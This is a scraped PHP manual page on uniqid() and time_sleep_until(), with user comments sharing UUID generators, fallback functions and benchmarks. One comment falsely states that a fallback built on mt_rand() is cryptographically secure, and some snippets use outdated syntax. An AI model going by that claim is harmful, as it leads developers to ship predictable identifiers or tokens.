purdue at nc dot rr dot com 05-May-2011 11:04
At least on my Windows machine, the time_sleep_until function appears to calculate the number of microseconds between now and the sleep-until timestamp, and it appears to use unsigned 32-bit math in this calculation.  This roundoff leads to a maximum sleep time of just under 4295 seconds (1 hour, 11 minutes, 35 seconds).  To get longer sleep times, while still using time_sleep_until to minimize processor overhead, the following loop may be some help to you:

<?php

$sleepuntil = strtotime("tuesday 3pm");

while (time() < $sleepuntil)
   time_sleep_until($sleepuntil);

// proceed with dated processing

?>

Of course, one could use something like "cron" instead, to avoid the script doing the extended sleep.  Also note that time_nanosleep appears to do similar math, but it is somewhat more intuitive that the seconds parameter has an upper limit on what it can be.  Still, both functions might report a warning when waking up prematurely due to roundoff.
f dot schima at ccgmbh dot de 15-Feb-2010 09:32
Remember when using usleep() as a replacement for time_sleep_until() that usleep() can be interrupted by signals, time_sleep_until() not.
pasha 03-Sep-2009 06:11
To ensure that usleep() is called with the same argument as the one being tested - a positive number:

<?php
if (!function_exists('time_sleep_until')) {
   function time_sleep_until($future) {
       $sleep = ($future - microtime(1))*1000000;
       if ($sleep<=0) {
           trigger_error("Time in past", E_USER_WARNING);
           return false;
       }

       usleep($sleep);
       return true;
   }
}
?>
roberto at spadim dot com dot br 16-Dec-2006 07:05
better implementation
<?php
if (!function_exists('time_sleep_until')) {
   function time_sleep_until($future) {
       if ($future < time()) {
           trigger_error("Time in past", E_USER_WARNING);
           return false;
       }

       usleep(($future - microtime(1))*1000000);
       return true;
   }
}
?>
ssnoyes at hotmail dot com 25-Nov-2005 11:58
Implementation for < 5.1 or Windows users

<?php
if (!function_exists('time_sleep_until')) {
    function time_sleep_until($future) {
        if ($future < time()) {
            trigger_error("Time in past", E_USER_WARNING);
            return false;
        }

        sleep($future - time());
        return true;
    }
}
?>
time_nanosleep
uniqid
Misc. Functions


Generate a unique ID

time_sleep_until
unpack
Misc. Functions
PHP Manual

uniqid

(PHP 4, PHP 5)

uniqid — Generate a unique ID

Description

string uniqid ([ string $prefix = "" [, bool $more_entropy = false ]] )

Gets a prefixed unique identifier based on the current time in microseconds.

Parameters

prefix

Can be useful, for instance, if you generate identifiers simultaneously on several hosts that might happen to generate the identifier at the same microsecond.

With an empty prefix, the returned string will be 13 characters long. If more_entropy is TRUE, it will be 23 characters.

more_entropy

If set to TRUE, uniqid() will add additional entropy (using the combined linear congruential generator) at the end of the return value, which should make the results more unique.

Return Values

Returns the unique identifier, as a string.

Examples

Example #1 uniqid() Example

<?php
/* A uniqid, like: 4b3403665fea6 */
printf("uniqid(): %s\r\n", uniqid());

/* We can also prefix the uniqid, this the same as
 * doing:
 *
 * $uniqid = $prefix . uniqid();
 * $uniqid = uniqid($prefix);
 */
printf("uniqid('php_'): %s\r\n", uniqid('php_'));

/* We can also activate the more_entropy parameter, which is
 * required on some systems, like Cygwin. This makes uniqid()
 * produce a value like: 4b340550242239.64159797
 */
printf("uniqid('', true): %s\r\n", uniqid('', true));
?>

Changelog

Version | Description
5.0.0 | The prefix parameter was made optional.
4.3.1 | The limit of 114 characters long for prefix was raised.

Notes

Note:

Under Cygwin, the more_entropy must be set to TRUE for this function to work.

User Contributed Notes

tom 17-Jun-2011 12:40
mt_rand() features in a lot of comments here. It is a good PRNG for Monte Carlo simulations, not for anything related to security. Wikipedia's page on cryptographically-secure PRNGs explains. If you want it to be hard for an attacker to guess or predict a "random" UUID, try using /dev/random instead.

<?php
$r = unpack('v*', fread(fopen('/dev/random', 'r'),16));
$uuid = sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
    $r[1], $r[2], $r[3], $r[4] & 0x0fff | 0x4000,
    $r[5] & 0x3fff | 0x8000, $r[6], $r[7], $r[8]);
?>

That's obviously not production code. It's just for illustration.
Anonymous 16-Jun-2011 04:08
Prefix can be useful, for instance, if you generate identifiers simultaneously on several hosts that might happen to generate the identifier at the same microsecond.
So we can include the hostname / servername in the id.
<?php
echo uniqid(php_uname('n'), true);
// Output: darkstar4dfa8c27aea106.40781203
?>
rommel at rommelsantor dot com 28-May-2011 03:29
The php5-uuid functions could definitely use some documentation to clarify how they should be used, but here's what I've gleaned by examining the OSSP source code (found here: http://ossp-uuid.sourcearchive.com/documentation/1.5.1-1ubuntu1/php_2uuid_8c-source.html).

The uuid_make() function takes two arguments when generating v1 or v4, but four arguments are required when generating v3 or v5. The first two arguments have been demonstrated below and are straightforward, so I'll skip to the as-yet non-described arguments.

The third argument to uuid_make() is: $namespace
  - this is a secondary resource created with uuid_create(); it is apparently used to generate an internal UUID, which is used as the namespace of the output UUID

The fourth argument to uuid_make() is: $url
  - this is the value that is to be hashed (MD5 for v3, SHA-1 for v5); it may be any string or even null

Here's a simple class illustrating the proper usage (note that if php5-uuid is not installed on your system, each function call will just return false):

<?php
class UUID {
  /**
   * Generates version 1: MAC address
   */
  public static function v1() {
    if (!function_exists('uuid_create'))
      return false;

    uuid_create(&$context);
    uuid_make($context, UUID_MAKE_V1);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 3 UUID: MD5 hash of URL
   */
  public static function v3($i_url) {
    if (!function_exists('uuid_create'))
      return false;

    if (!strlen($i_url))
      $i_url = self::v1();

    uuid_create(&$context);
    uuid_create(&$namespace);

    uuid_make($context, UUID_MAKE_V3, $namespace, $i_url);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 4 UUID: random
   */
  public static function v4() {
    if (!function_exists('uuid_create'))
      return false;

    uuid_create(&$context);

    uuid_make($context, UUID_MAKE_V4);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 5 UUID: SHA-1 hash of URL
   */
  public static function v5($i_url) {
    if (!function_exists('uuid_create'))
      return false;

    if (!strlen($i_url))
      $i_url = self::v1();

    uuid_create(&$context);
    uuid_create(&$namespace);

    uuid_make($context, UUID_MAKE_V5, $namespace, $i_url);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }
}
?>

And here's a demonstration:

<?php
for ($i = 1; $i <= 3; ++$i) {
  echo 'microtime = ' . microtime(true) . '<br/>';
  echo "V1 UUID: " . UUID::v1() . '<br/>';
  echo "V3 UUID of URL='abc': " . UUID::v3('abc') . '<br/>';
  echo "V4 UUID: " . UUID::v4() . '<br/>';
  echo "V5 UUID of URL=null: " . UUID::v5(null) . '<br/>';
  echo '<hr/>';
}
?>

And the output:

microtime = 1306620716.0457
V1 UUID: 7fddae8e-8977-11e0-bc11-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: b3851ec7-4871-4527-92b5-ef5616bae1e6
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d
-------------------
microtime = 1306620716.0465
V1 UUID: 7fddb83e-8977-11e0-9e6e-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: 7e78fe0d-59b8-4637-af7f-e88d221a7d1e
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d
-------------------
microtime = 1306620716.0467
V1 UUID: 7fddbfb4-8977-11e0-a2bc-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: 12a940c7-0f3f-46a1-bb5f-bdd602e10654
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d

As you can see, the calls to v3() always return the same UUID because the same URL parameter, "abc", is always supplied. The same goes for the v5() function which is always supplied a null URL.

The v4() UUIDs are always entirely different because they are (pseudo)random. And the v1() calls are very similar but just slightly different because it's based on the computer's MAC address and the current time.
php at ryanmckeel dot com 29-Jun-2010 10:15
Calls to uuid_make that use the constants UUID_MAKE_V5 or UUID_MAKE_V3 (using Debian package php5-uuid available June 2010) will not work with only two variables.

I could not find good documentation, so I read some source code and figured out that this would work:

uuid_create(&$v5);
//uuid_make($v5, UUID_MAKE_V5);
uuid_make($v5, UUID_MAKE_V5,$v5,$uniqid());
uuid_export($v5, UUID_FMT_STR, &$v5String);

Please use at your own risk.  This may not be the best way to give this param variables, but it at least makes it work what appears to be properly (generating unique ID's).

I imagine that UUID_MAKE_V3 is similar in what it needs.

  Ryan
Enrico Pallazzo 21-Mar-2010 02:45
Running:

rand_uniqid(9007199254740989);

will return 'PpQXn7COf' and:

rand_uniqid('PpQXn7COf', true);

will return '9007199254740989'

---

If you want the rand_uniqid to be at least 6 letter long, use the $pad_up = 6 argument

---

You can support even more characters (making the resulting rand_uniqid even smaller) by adding characters to the $index var at the top of the function body.

---

<?php
function rand_uniqid($in, $to_num = false, $pad_up = false, $passKey = null)
{
    $index = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    if ($passKey !== null) {
        // Although this function's purpose is to just make the
        // ID short - and not so much secure,
        // you can optionally supply a password to make it harder
        // to calculate the corresponding numeric ID

        for ($n = 0; $n<strlen($index); $n++) {
            $i[] = substr( $index,$n ,1);
        }

        $passhash = hash('sha256',$passKey);
        $passhash = (strlen($passhash) < strlen($index))
            ? hash('sha512',$passKey)
            : $passhash;

        for ($n=0; $n < strlen($index); $n++) {
            $p[] =  substr($passhash, $n ,1);
        }

        array_multisort($p,  SORT_DESC, $i);
        $index = implode($i);
    }

    $base  = strlen($index);

    if ($to_num) {
        // Digital number  <<--  alphabet letter code
        $in  = strrev($in);
        $out = 0;
        $len = strlen($in) - 1;
        for ($t = 0; $t <= $len; $t++) {
            $bcpow = bcpow($base, $len - $t);
            $out   = $out + strpos($index, substr($in, $t, 1)) * $bcpow;
        }

        if (is_numeric($pad_up)) {
            $pad_up--;
            if ($pad_up > 0) {
                $out -= pow($base, $pad_up);
            }
        }
        $out = sprintf('%F', $out);
        $out = substr($out, 0, strpos($out, '.'));
    } else {
        // Digital number  -->>  alphabet letter code
        if (is_numeric($pad_up)) {
            $pad_up--;
            if ($pad_up > 0) {
                $in += pow($base, $pad_up);
            }
        }

        $out = "";
        for ($t = floor(log($in, $base)); $t >= 0; $t--) {
            $bcp = bcpow($base, $t);
            $a   = floor($in / $bcp) % $base;
            $out = $out . substr($index, $a, 1);
            $in  = $in - ($a * $bcp);
        }
        $out = strrev($out); // reverse
    }

    return $out;
}

echo rand_uniqid(1);
?>
Robin 04-Mar-2010 07:20
As others below note, without prefix and without "added entropy", this function simply returns the UNIX timestamp with added microsecond counter as a hex number; it's more or less just microtime(), in hexit form.

A longer and more diverse unique id in the same hexit scheme can be achieved by instead digesting uniqid() (or a series of mt_rand(), f.e.) through md5() or sha1():

<?php

$unique = md5( uniqid() );  // 32 characters long

$unique = sha1( uniqid() );  // 40 characters long

?>

Also worth to note is that since microtime() only works on systems that have gettimeofday() present, which Windows natively DOES NOT, uniqid() might yield just the single-second-resolution UNIX timestamp in a Windows environment.
keith at keithtyler dot com 07-Dec-2009 06:18
For the record, the underlying function to uniqid() appears to be roughly as follows:

$m=microtime(true);
sprintf("%8x%05x\n",floor($m),($m-floor($m))*1000000);

In other words, first 8 hex chars = Unixtime, last 5 hex chars = microseconds. This is why it has microsecond precision. Also, it provides a means by which to reverse-engineer the time when a uniqid was generated:

date("r",hexdec(substr(uniqid(),0,8)));

Increasingly as you go further down the string, the number becomes "more unique" over time, with the exception of digit 9, where numeral prevalence is 0..3>4>5..f, because of the difference between 10^6 and 16^5 (this is presumably true for the remaining digits as well but much less noticeable).
Andrew Moore 04-Dec-2009 08:45
The following class generates VALID RFC 4211 COMPLIANT Universally Unique IDentifiers (UUID) version 3, 4 and 5.

Version 3 and 5 UUIDs are named based. They require a namespace (another valid UUID) and a value (the name). Given the same namespace and name, the output is always the same.

Version 4 UUIDs are pseudo-random.

UUIDs generated below validates using OSSP UUID Tool, and output for named-based UUIDs are exactly the same. This is a pure PHP implementation.

<?php
class UUID {
  public static function v3($namespace, $name) {
    if(!self::is_valid($namespace)) return false;

    // Get hexadecimal components of namespace
    $nhex = str_replace(array('-','{','}'), '', $namespace);

    // Binary Value
    $nstr = '';

    // Convert Namespace UUID to bits
    for($i = 0; $i < strlen($nhex); $i+=2) {
      $nstr .= chr(hexdec($nhex[$i].$nhex[$i+1]));
    }

    // Calculate hash value
    $hash = md5($nstr . $name);

    return sprintf('%08s-%04s-%04x-%04x-%12s',

      // 32 bits for "time_low"
      substr($hash, 0, 8),

      // 16 bits for "time_mid"
      substr($hash, 8, 4),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 3
      (hexdec(substr($hash, 12, 4)) & 0x0fff) | 0x3000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      (hexdec(substr($hash, 16, 4)) & 0x3fff) | 0x8000,

      // 48 bits for "node"
      substr($hash, 20, 12)
    );
  }

  public static function v4() {
    return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',

      // 32 bits for "time_low"
      mt_rand(0, 0xffff), mt_rand(0, 0xffff),

      // 16 bits for "time_mid"
      mt_rand(0, 0xffff),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 4
      mt_rand(0, 0x0fff) | 0x4000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      mt_rand(0, 0x3fff) | 0x8000,

      // 48 bits for "node"
      mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
    );
  }

  public static function v5($namespace, $name) {
    if(!self::is_valid($namespace)) return false;

    // Get hexadecimal components of namespace
    $nhex = str_replace(array('-','{','}'), '', $namespace);

    // Binary Value
    $nstr = '';

    // Convert Namespace UUID to bits
    for($i = 0; $i < strlen($nhex); $i+=2) {
      $nstr .= chr(hexdec($nhex[$i].$nhex[$i+1]));
    }

    // Calculate hash value
    $hash = sha1($nstr . $name);

    return sprintf('%08s-%04s-%04x-%04x-%12s',

      // 32 bits for "time_low"
      substr($hash, 0, 8),

      // 16 bits for "time_mid"
      substr($hash, 8, 4),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 5
      (hexdec(substr($hash, 12, 4)) & 0x0fff) | 0x5000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      (hexdec(substr($hash, 16, 4)) & 0x3fff) | 0x8000,

      // 48 bits for "node"
      substr($hash, 20, 12)
    );
  }

  public static function is_valid($uuid) {
    return preg_match('/^\{?[0-9a-f]{8}\-?[0-9a-f]{4}\-?[0-9a-f]{4}\-?'.
                      '[0-9a-f]{4}\-?[0-9a-f]{12}\}?$/i', $uuid) === 1;
  }
}

// Usage
// Named-based UUID.

$v3uuid = UUID::v3('1546058f-5a25-4334-85ae-e68f2a44bbaf', 'SomeRandomString');
$v5uuid = UUID::v5('1546058f-5a25-4334-85ae-e68f2a44bbaf', 'SomeRandomString');

// Pseudo-random UUID

$v4uuid = UUID::v4();
?>
John Haugeland from FullOf.BS 26-May-2009 10:11
Generating an MD5 from a unique ID is naive and reduces much of the value of unique IDs, as well as providing significant (attackable) stricture on the MD5 domain.  That's a deeply broken thing to do.  The correct approach is to use the unique ID on its own; it's already geared for non-collision.

IDs should never be obfuscated for security, so if you're worried about someone guessing your ID, fix the system, don't just make it harder to guess (because it's nowhere near as difficult to guess as you imagine: you can just brute force the 60,000 MD5s that are generatable from millisecond IDs over the course of a given minute, which the typical computer can do in less than 0.1s).

If you absolutely need to involve a hash somehow - maybe to placate a boss who thinks they understand security much better than they actually do - append it instead.

function BadIdeaID() { return uniqid() . '_' . md5(mt_rand()); }
Marius Karthaus 23-Jan-2009 11:10
Better yet, just use the php5-uuid extension and this class to create 'official' UUIDs at high speed (On my system 1000 UUIDs are created in 0.0064 seconds)

<?php

Usage:
$uuid=new uuid();
echo $uuid->v1();

class uuid {
    /**
     * This class enables you to get real uuids using the OSSP library.
     * Note you need php-uuid installed.
     * On my system 1000 UUIDs are created in 0.0064 seconds.
     *
     * @author Marius Karthaus
     *
     */

    protected $uuidobject;

    /**
     * On long running deamons i've seen a lost resource. This checks the resource and creates it if needed.
     *
     */
    protected function create() {
        if (! is_resource ( $this->uuidobject )) {
            uuid_create ( &$this->uuidobject );
        }
    }

    /**
     * Return a type 1 (MAC address and time based) uuid
     *
     * @return String
     */
    public function v1() {
        $this->create ();
        uuid_make ( $this->uuidobject, UUID_MAKE_V1 );
        uuid_export ( $this->uuidobject, UUID_FMT_STR, &$uuidstring );
        return trim ( $uuidstring );
    }

    /**
     * Return a type 4 (random) uuid
     *
     * @return String
     */
    public function v4() {
        $this->create ();
        uuid_make ( $this->uuidobject, UUID_MAKE_V4 );
        uuid_export ( $this->uuidobject, UUID_FMT_STR, &$uuidstring );
        return trim ( $uuidstring );
    }

    /**
     * Return a type 5 (SHA-1 hash) uuid
     *
     * @return String
     */
    public function v5() {
        $this->create ();
        uuid_make ( $this->uuidobject, UUID_MAKE_V5 );
        uuid_export ( $this->uuidobject, UUID_FMT_STR, &$uuidstring );
        return trim ( $uuidstring );
    }
}
?>
Marius Karthaus 22-Jan-2009 05:39
I've created a class from the function below. With it, creating a lot of uuids beomes about 100 times faster because you do not need to fopen() for each uuid.
uuid::get() still works as a static function if you just need a single uuid.

<?php
class uuid {

    protected $urand;

    public function __construct() {
        $this->urand = @fopen ( '/dev/urandom', 'rb' );
    }

    /**
     * @brief Generates a Universally Unique IDentifier, version 4.
     *
     * This function generates a truly random UUID. The built in CakePHP String::uuid() function
     * is not cryptographically secure. You should uses this function instead.
     *
     * @see http://tools.ietf.org/html/rfc4122#section-4.4
     * @see http://en.wikipedia.org/wiki/UUID
     * @return string A UUID, made up of 32 hex digits and 4 hyphens.
     */
    function get() {

        $pr_bits = false;
        if (is_a ( $this, 'uuid' )) {
            if (is_resource ( $this->urand )) {
                $pr_bits .= @fread ( $this->urand, 16 );
            }
        }
        if (! $pr_bits) {
            $fp = @fopen ( '/dev/urandom', 'rb' );
            if ($fp !== false) {
                $pr_bits .= @fread ( $fp, 16 );
                @fclose ( $fp );
            } else {
                // If /dev/urandom isn't available (eg: in non-unix systems), use mt_rand().
                $pr_bits = "";
                for($cnt = 0; $cnt < 16; $cnt ++) {
                    $pr_bits .= chr ( mt_rand ( 0, 255 ) );
                }
            }
        }
        $time_low = bin2hex ( substr ( $pr_bits, 0, 4 ) );
        $time_mid = bin2hex ( substr ( $pr_bits, 4, 2 ) );
        $time_hi_and_version = bin2hex ( substr ( $pr_bits, 6, 2 ) );
        $clock_seq_hi_and_reserved = bin2hex ( substr ( $pr_bits, 8, 2 ) );
        $node = bin2hex ( substr ( $pr_bits, 10, 6 ) );

        /**
         * Set the four most significant bits (bits 12 through 15) of the
         * time_hi_and_version field to the 4-bit version number from
         * Section 4.1.3.
         * @see http://tools.ietf.org/html/rfc4122#section-4.1.3
         */
        $time_hi_and_version = hexdec ( $time_hi_and_version );
        $time_hi_and_version = $time_hi_and_version >> 4;
        $time_hi_and_version = $time_hi_and_version | 0x4000;

        /**
         * Set the two most significant bits (bits 6 and 7) of the
         * clock_seq_hi_and_reserved to zero and one, respectively.
         */
        $clock_seq_hi_and_reserved = hexdec ( $clock_seq_hi_and_reserved );
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved >> 2;
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved | 0x8000;

        return sprintf ( '%08s-%04s-%04x-%04x-%012s', $time_low, $time_mid, $time_hi_and_version, $clock_seq_hi_and_reserved, $node );
    }

}
sean at seancolombo dot com 06-Jan-2009 07:56
This builds slightly on david's post below.  The differences are that it doesn't require Cake anymore and there is a graceful fallback for /dev/urandom in case that isn't available (/dev/urandom is not available on windows systems for example).

Since it uses mt_rand(), it is still cryptographically secure.

<?php
/**
     * @brief Generates a Universally Unique IDentifier, version 4.
     *
     * This function generates a truly random UUID. The built in CakePHP String::uuid() function
     * is not cryptographically secure. You should uses this function instead.
     *
     * @see http://tools.ietf.org/html/rfc4122#section-4.4
     * @see http://en.wikipedia.org/wiki/UUID
     * @return string A UUID, made up of 32 hex digits and 4 hyphens.
     */
      function uuidSecure() {

        $pr_bits = null;
        $fp = @fopen('/dev/urandom','rb');
        if ($fp !== false) {
            $pr_bits .= @fread($fp, 16);
            @fclose($fp);
        } else {
            // If /dev/urandom isn't available (eg: in non-unix systems), use mt_rand().
            $pr_bits = "";
            for($cnt=0; $cnt < 16; $cnt++){
                $pr_bits .= chr(mt_rand(0, 255));
            }
        }

        $time_low = bin2hex(substr($pr_bits,0, 4));
        $time_mid = bin2hex(substr($pr_bits,4, 2));
        $time_hi_and_version = bin2hex(substr($pr_bits,6, 2));
        $clock_seq_hi_and_reserved = bin2hex(substr($pr_bits,8, 2));
        $node = bin2hex(substr($pr_bits,10, 6));

        /**
         * Set the four most significant bits (bits 12 through 15) of the
         * time_hi_and_version field to the 4-bit version number from
         * Section 4.1.3.
         * @see http://tools.ietf.org/html/rfc4122#section-4.1.3
         */
        $time_hi_and_version = hexdec($time_hi_and_version);
        $time_hi_and_version = $time_hi_and_version >> 4;
        $time_hi_and_version = $time_hi_and_version | 0x4000;

        /**
         * Set the two most significant bits (bits 6 and 7) of the
         * clock_seq_hi_and_reserved to zero and one, respectively.
         */
        $clock_seq_hi_and_reserved = hexdec($clock_seq_hi_and_reserved);
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved >> 2;
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved | 0x8000;

        return sprintf('%08s-%04s-%04x-%04x-%012s',
            $time_low, $time_mid, $time_hi_and_version, $clock_seq_hi_and_reserved, $node);
    }
david at ramaboo dot com 05-Jan-2009 12:51
Another UUID function. This time using /dev/random
<?php
/**
     * @brief Generates a Universally Unique IDentifier, version 4.
     *
     * This function generates a truly random UUID. The built in CakePHP String::uuid() function
     * is not cryptographically secure. You should uses this function instead.
     *
     * @see http://tools.ietf.org/html/rfc4122#section-4.4
     * @see http://en.wikipedia.org/wiki/UUID
     * @return string A UUID, made up of 32 hex digits and 4 hyphens.
     */
    public function uuidSecure() {

        $pr_bits = null;
        $fp = @fopen('/dev/urandom','rb');
        if ($fp !== false) {
            $pr_bits .= @fread($fp, 16);
            @fclose($fp);
        } else {
            $this->cakeError('randomNumber');
        }

        $time_low = bin2hex(substr($pr_bits,0, 4));
        $time_mid = bin2hex(substr($pr_bits,4, 2));
        $time_hi_and_version = bin2hex(substr($pr_bits,6, 2));
        $clock_seq_hi_and_reserved = bin2hex(substr($pr_bits,8, 2));
        $node = bin2hex(substr($pr_bits,10, 6));

        /**
         * Set the four most significant bits (bits 12 through 15) of the
         * time_hi_and_version field to the 4-bit version number from
         * Section 4.1.3.
         * @see http://tools.ietf.org/html/rfc4122#section-4.1.3
         */
        $time_hi_and_version = hexdec($time_hi_and_version);
        $time_hi_and_version = $time_hi_and_version >> 4;
        $time_hi_and_version = $time_hi_and_version | 0x4000;

        /**
         * Set the two most significant bits (bits 6 and 7) of the
         * clock_seq_hi_and_reserved to zero and one, respectively.
         */
        $clock_seq_hi_and_reserved = hexdec($clock_seq_hi_and_reserved);
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved >> 2;
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved | 0x8000;

        return sprintf('%08s-%04s-%04x-%04x-%012s',
            $time_low, $time_mid, $time_hi_and_version, $clock_seq_hi_and_reserved, $node);
    }
?>
valerylourie at gmail dot com 13-Aug-2008 01:38
To dholmes at cfdsoftware dot net:
sprintf parameter should be changed to '%04x%04x-%04x-4%03x-%04x-%04x%04x%04x' - 4 in GUID V4 should be first, but not last digit in the third group
lucas at paivlek dot net 11-Jul-2008 09:07
Hi all,

I'm not sure what performance problems you guys are talking about, but I benchmarked 10000 of each of the functions outlined in this comments section alongside the uniqid method. Where function names are duplicated (because everyone likes to call their method uuid), i've added part of that contributer's name to the function name.

So if you want something unique and you think that uniqid() is slowing your scripts down, maybe rand() is your only answer :)

See the output (quickest to slowest):
Array
(
    [0] => Array
        (
            [strMethod] => rand
            [intRepetitions] => 10000
            [flTotalTime] => 0.104878902435
            [flAverageTime] => 1.04878902435E-5
            [flShortestTime] => 3.81469726562E-6
            [flLongestTime] => 0.000297069549561
            [exampleOutput] => 19689
        )

    [1] => Array
        (
            [strMethod] => uniqid
            [intRepetitions] => 10000
            [flTotalTime] => 0.123727083206
            [flAverageTime] => 1.23727083206E-5
            [flShortestTime] => 3.81469726562E-6
            [flLongestTime] => 9.3936920166E-5
            [exampleOutput] => 48782b3c3e997
        )

    [2] => Array
        (
            [strMethod] => uniqid2
            [intRepetitions] => 10000
            [flTotalTime] => 0.132393836975
            [flAverageTime] => 1.32393836975E-5
            [flShortestTime] => 3.81469726562E-6
            [flLongestTime] => 0.000135898590088
            [exampleOutput] => 48782b3d282c
        )

    [3] => Array
        (
            [strMethod] => uuid_mimec
            [intRepetitions] => 10000
            [flTotalTime] => 0.192065000534
            [flAverageTime] => 1.92065000534E-5
            [flShortestTime] => 3.81469726562E-6
            [flLongestTime] => 0.000221014022827
            [exampleOutput] => fc1b24b7-59e0-4935-88f2-06a6fde922d8
        )

    [4] => Array
        (
            [strMethod] => uuid_maciej
            [intRepetitions] => 10000
            [flTotalTime] => 0.219671964645
            [flAverageTime] => 2.19671964645E-5
            [flShortestTime] => 3.81469726562E-6
            [flLongestTime] => 0.000162839889526
            [exampleOutput] => 4c55bc99-b5bc-0f88-0387-00001a51bd33
        )

    [5] => Array
        (
            [strMethod] => uuid_dholmes
            [intRepetitions] => 10000
            [flTotalTime] => 0.221670866013
            [flAverageTime] => 2.21670866013E-5
            [flShortestTime] => 3.81469726562E-6
            [flLongestTime] => 0.000198125839233
            [exampleOutput] => cd79ac78-af08-a804-6567-3c4940e3252b
        )

    [6] => Array
        (
            [strMethod] => newid
            [intRepetitions] => 10000
            [flTotalTime] => 0.221807956696
            [flAverageTime] => 2.21807956696E-5
            [flShortestTime] => 3.81469726562E-6
            [flLongestTime] => 0.000211954116821
            [exampleOutput] => user_9e2e305b4c4340397617baf285f11eb348782b3d0354b3.
095706961215834941127.0.0.1
        )

    [7] => Array
        (
            [strMethod] => uuid_nodkz
            [intRepetitions] => 10000
            [flTotalTime] => 0.477306842804
            [flAverageTime] => 4.77306842804E-5
            [flShortestTime] => 3.81469726562E-6
            [flLongestTime] => 0.000205039978027
            [exampleOutput] => 0001-7f000001-48782b3e-0952-ef8e7ec8
        )

    [8] => Array
        (
            [strMethod] => uuid_lance
            [intRepetitions] => 10000
            [flTotalTime] => 0.668512821198
            [flAverageTime] => 6.68512821198E-5
            [flShortestTime] => 3.81469726562E-6
            [flLongestTime] => 0.00036096572876
            [exampleOutput] => fa465717-26bf-4af9-987f-33bb54905678
        )

)
mark at whytewaters dot com 25-Feb-2008 06:39
If you want many ids and performance of this function is an issue why not pull uniquid() out of the loop, eg:

$base = uniqueid();
$ids[] = array();

for ($index = 0; $index < 100000; $index++)
    $ids[] = $base . '.' . $index;
nodkz at mail dot ru 15-Jan-2008 02:00
I use such UUID (it not RFC!!!)
(server_id)-(clientIP)-(unixtime)-(milliseconds)-(random)

 I can easyly determine which server at which time and who initiate creating of object.

<?php

$u=uuid();   // 0001-7f000001-478c8000-4801-47242987
echo $u;
echo "<br>";
print_r(uuidDecode($u)); // Array ( [serverID] => 0001 [ip] => 127.0.0.1 [unixtime] => 1200390144 [micro] => 0.28126525878906 )

function uuid($serverID=1)
{
    $t=explode(" ",microtime());
    return sprintf( '%04x-%08s-%08s-%04s-%04x%04x',
        $serverID,
        clientIPToHex(),
        substr("00000000".dechex($t[1]),-8),   // get 8HEX of unixtime
        substr("0000".dechex(round($t[0]*65536)),-4), // get 4HEX of microtime
        mt_rand(0,0xffff), mt_rand(0,0xffff));
}

function uuidDecode($uuid) {
    $rez=Array();
    $u=explode("-",$uuid);
    if(is_array($u)&&count($u)==5) {
        $rez=Array(
            'serverID'=>$u[0],
            'ip'=>clientIPFromHex($u[1]),
            'unixtime'=>hexdec($u[2]),
            'micro'=>(hexdec($u[3])/65536)
        );
    }
    return $rez;
}

function clientIPToHex($ip="") {
    $hex="";
    if($ip=="") $ip=getEnv("REMOTE_ADDR");
    $part=explode('.', $ip);
    for ($i=0; $i<=count($part)-1; $i++) {
        $hex.=substr("0".dechex($part[$i]),-2);
    }
    return $hex;
}

function clientIPFromHex($hex) {
    $ip="";
    if(strlen($hex)==8) {
        $ip.=hexdec(substr($hex,0,2)).".";
        $ip.=hexdec(substr($hex,2,2)).".";
        $ip.=hexdec(substr($hex,4,2)).".";
        $ip.=hexdec(substr($hex,6,2));
    }
    return $ip;
}

?>
smp_info at yahoo dot com 06-Sep-2007 05:38
This function is painfully slow if you're using it to give images random names inside of a loop.  The following function will give you a random name *every* time and is much faster.

<?php

function nameImage($imgExtension)
{
    return time() . substr(md5(microtime()), 0, rand(5, 12)) . $imgExtension;
}

?>
dot dot dot dot dot alexander at gmail dot com 13-Jun-2007 02:28
I use this mangle currently:
( inserts the IP, uses time() and a prefix, aside the uniqid)

<?php
if(!function_exists("newid")){

    function newid($prefix = "user_"){
        return ($prefix . uniqid( hash("md5", time()), TRUE ) . time() . @$_SERVER['REMOTE_ADDR']);
    }/* endfunction */

}/* endif  */
?>
ken at smallboxsoftware 17-May-2007 09:34
Just to note this function is fairly slow, and can bring your script to a crawl if it is in a loop. Strangely if you run it as uniqid('', true) it runs much more quickly
rjchallen at gmail dot com 17-May-2007 08:08
If you can guarantee a connection to mysql when you need your UUID then you can wrap up MySQL's (v5+) function.

function uuid() {
    return mysql_result(mysql_query('Select UUID()'),0);
}
